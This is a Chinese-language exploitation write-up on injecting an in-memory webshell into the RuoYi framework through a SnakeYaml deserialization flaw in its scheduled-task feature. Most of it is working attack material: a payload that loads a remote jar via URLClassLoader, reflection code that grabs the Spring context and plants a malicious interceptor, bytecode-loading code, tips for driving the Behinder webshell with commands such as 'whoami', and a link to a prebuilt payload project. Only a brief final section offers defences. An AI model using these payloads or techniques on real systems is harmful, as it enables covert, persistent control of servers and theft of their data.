RuoYi 可用内存马
字数 1370 2025-08-25 22:59:10
RuoYi框架中利用SnakeYaml反序列化漏洞注入内存马技术分析
1. 漏洞背景与概述
RuoYi框架在"系统监控 > 定时任务"功能中存在SnakeYaml反序列化漏洞,攻击者可以利用该漏洞注入内存马,实现持久化控制。本文详细分析漏洞原理、利用方法及各种环境下的适配问题。
2. 漏洞分析
2.1 漏洞触发点
漏洞位于com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod方法中:
public static void invokeMethod(SysJob sysJob) throws Exception {
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) {
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
} else {
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
2.2 利用条件
当传入完全限定类名时,需要满足以下条件:
- 类必须具有无参构造方法
- 调用的方法必须是类自身声明的方法,不能是父类方法
- 构造方法和调用的方法均为public
org.yaml.snakeyaml.Yaml类符合这些条件,可利用其触发反序列化漏洞。
3. 漏洞利用Payload
基本利用Payload格式:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
4. 内存马注入技术演进
4.1 第一代内存马
问题:由于定时任务触发点与Web服务不在同一线程,直接获取上下文环境会失败。
解决方案:通过反射获取LiveBeansView类的applicationContexts属性获取上下文:
// 获取ApplicationContext
Field filed = Class.forName("org.springframework.context.support.LiveBeansView")
.getDeclaredField("applicationContexts");
filed.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)((LinkedHashSet)filed.get(null)).iterator().next();
// 注入Interceptor内存马
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);
4.2 第二代内存马
问题:在Linux环境下LiveBeansView的applicationContexts属性为空。
解决方案1:通过RuoYi的SpringUtils类获取上下文:
Field f = Thread.currentThread().getContextClassLoader()
.loadClass("com.ruoyi.common.utils.spring.SpringUtils")
.getDeclaredField("applicationContext");
f.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)f.get(null);
解决方案2:通过线程上下文获取:
Field field = Thread.currentThread().getClass().getDeclaredField("runnable");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("qs");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
Map m = (Map)obj;
WebApplicationContext context = (WebApplicationContext)m.get("applicationContextKey");
4.3 类加载器问题
问题:以fat jar运行时使用LaunchedURLClassLoader,而Yaml使用URLClassLoader加载类,导致找不到Spring相关类。
解决方案:使用LaunchedURLClassLoader加载恶意类:
ClassLoader classLoader = (ClassLoader)Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
new Class[]{byte[].class, int.class, int.class});
defineClass.setAccessible(true);
byte[] bytes = XXXXXX; // 恶意类字节码
return (Class<HttpServlet>)defineClass.invoke(classLoader,
new Object[]{bytes, 0, bytes.length});
5. 环境差异与解决方案
5.1 Windows与Linux差异
- Windows环境下
LiveBeansView的applicationContexts属性包含所需上下文 - Linux环境下
mbeanDomain为null,导致上下文未注册到LiveBeansView
5.2 打包问题
正确方式:使用Maven打包,确保符合SPI机制
错误方式:通过IDE的Project Structure > Artifacts打包,会导致依赖结构错误
6. 冰蝎集成注意事项
-
在未登录状态下会跳转到登录页面,解决方法:
- 带上cookie使用冰蝎
- 直接在登录页面触发:
/login?cmd=1
-
前后端分离版本传参问题:
- 后端直接传值
- 前端使用API:
http://localhost/dev-api/?cmd=whoami
-
前后端分离版本中冰蝎可能报错,原因待查
7. 关键问题总结
- 定时任务触发点与Web服务线程隔离问题
- Windows与Linux环境差异导致的上下文获取失败
- Fat jar运行时的类加载器问题
- 前后端分离版本的特殊处理
8. 项目资源
可用jar包及构造项目地址:
https://github.com/lz2y/yaml-payload-for-ruoyi
9. 防御建议
- 升级SnakeYaml到安全版本
- 对定时任务的功能进行严格的权限控制
- 限制可执行的类和方法范围
- 实施输入验证和过滤